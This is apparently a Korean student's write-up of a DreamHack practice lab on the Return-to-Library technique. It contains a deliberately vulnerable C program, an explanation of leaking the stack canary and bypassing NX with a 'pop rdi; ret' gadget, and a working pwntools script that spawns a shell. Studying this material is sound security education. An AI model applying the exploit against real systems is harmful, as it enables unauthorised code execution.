본문 바로가기

DreamHack: System Hacking/F Stage 7

[함께 실습] Return to Library

[Return to Library]

-개념: NX 보호기법을 우회하기 위한 공격기법. 프로세스에 실행 권한이 있는 "바이너리의 코드 영역" & 바이너리가 참조하는 "라이브러리의 코드 영역"을 이용하여 공격. "라이브러리"에는 system, execve와 같은 함수들이 구현되어 있으므로, 이와 같은 함수들을 이용하여 NX를 우회하고 셸을 획득하는 것이 목적이다.

[소스코드 분석(rtl.c)]

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}


1) const char* binsh = "/bin/sh"; -> "/bin/sh"를 데이터 세그먼트에 추가하기 위해 작성된 코드
2) system("echo 'system@plt'"); -> plt에 system 함수를 추가하기 위해 작성된 코드

[exploit 설계]
1) rtl에서는 NX가 적용되어 있으므로 buf에 셸코드를 넣고 이를 실행시키는 방법을 사용할 수 없음. 따라서 다음의 정보를 이용하여 셸을 획득해야함.
a) “/bin/sh”의 주소를 안다. -> data, code 세그먼트의 주소가 고정되어 있으므로(ASLR == on <-> but, PIE == off)
b) system 함수의 PLT 주소를 안다. ==> system 함수를 호출할 수 있다. -> (a)에서와 같은 이유
2) (a)와 (b)의 정보를 토대로 <rdi="/bin/sh" 주소>인 상태로 <system>함수를 호출하면 shell을 획득할 수 있다. 이를 위해선 "리턴 가젯"을 활용해야 한다.

 

[리턴 가젯]: ret 명령어로 끝나는 어셈블리 코드 조각. pwntools 설치 시 함께 설치되는 "ROPgadget" 명령어를 이용해서 가젯을 구할 수 있다.
(ex. ROPgadget --binary rtl)

 

 

[스택 구조 파악 & exploit 설계]

리턴 가젯을 이용하여 RET와 이후 버퍼를 다음과 같이 덮으면 pop rdi로 rdi를 “/bin/sh”의 주소로 설정하고, 이어지는 ret로 system 함수를 호출할 수 있다.

addr of "system" plt       <= ret + 0x10

addr of string "/bin/sh"   <= ret + 0x8

addr of ("pop rdi; ret")   <= return address

SFP

Canary

buf

 

0) 스택 구조 및 보안 정책

0. Canary, NX 보안 정책이 적용돼있음을 확인할 수 있다.

 

1. sub rsp, 0x40을 통해 스택 버퍼의 크기가 0x40임을 알 수 있다. 또한 Canary가 [rbp - 8]에 위치하고 있음 또한 확인할 수 있다.

 

2. buf가 [rbp - 0x40]에 위치하고 있음을 확인할 수 있다.

 

위의 정보들을 토대로 스택 구조를 그려보면 다음과 같다.

 

이제 우리에게 필요한 재료들(리턴 가젯, "/bin/sh", system())의 주소를 알아보자

1) ROPgadget --binary [파일 경로] --re "pop rdi" // 0x400853 -> "pop rdi; ret"


2) pwndbg> search /bin/sh
rtl             0x400874 0x68732f6e69622f /* '/bin/sh' */
rtl             0x600874 0x68732f6e69622f /* '/bin/sh' */
libc-2.31.so    0x7ffff7f825bd 0x68732f6e69622f /* '/bin/sh' */


3) pwndbg> plt
Section .plt 0x4005a0-0x400610:
0x4005b0: puts@plt
0x4005c0: __stack_chk_fail@plt
0x4005d0: system@plt
0x4005e0: printf@plt
0x4005f0: read@plt
0x400600: setvbuf@plt


****4) system 함수로 rip가 이동할 때, 스택은 반드시 0x10 단위로 정렬되어 있어야함.
+) rbp는 항상 align(0x10) 돼있다. 함수가 호출되는 시점에 rsp의 값이 16(0x10)의 배수여야 한다. -> https://hackyboiz.github.io/2020/12/06/fabu1ous/x64-stack-alignment/

 

hackyboiz

hack & life

hackyboiz.github.io

 

[exploit 코드 작성(rtl.py)]

from pwn import *
p = process("./rtl")

buf = b'A'*57
p.sendafter(':', buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
print('Canary:', hex(canary)) 

ret = 0x400285
pop_rdi_ret = 0x400853
binsh = 0x400874
system = 0x4005d0
          
payload = b'A'*56 + p64(canary) + b'A'*8 + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendafter(b'Buf: ', payload)
         
p.interactive()

 

** 부가 설명 **

Return to Library의 동작 수행 과정을 살펴보자.

 

이 예제에서 Return to Library를 수행하기 위해 BOF를 일으킨 스택 구조는 다음과 같다

 

1) 함수 에필로그가 실행될 때(함수 에필로그 = leave, ret)

1. leave(mov rsp, rbp -> pop rbp)

 

2. ret (pop rip): 이 동작 이후 rip는 gadget(== ret(pop rip))를 가리키게 된다

 

3. 이후 2에서의 gadget(== ret(pop rip))가 수행되어 rip는 gadget(== pop rdi; ret(pop rip))를 가리키게 된다.

 

4. 이후 pop rdi가 수행되어 rdi에는 '/bin/sh'이 들어가게 되고, pop rdi 뒤의 ret(pop rip)가 수행되어 rip는 system()의 주소를 가리키게 되어 system 함수가 실행된다.

'DreamHack: System Hacking > F Stage 7' 카테고리의 다른 글

basic_rop_x86  (0) 2023.06.14
basic_rop_x64  (0) 2023.06.14
[함께 실습] Return Oriented Programming  (0) 2023.06.11
ASLR, NX & Static-Link, Dynamic-Link  (1) 2023.06.10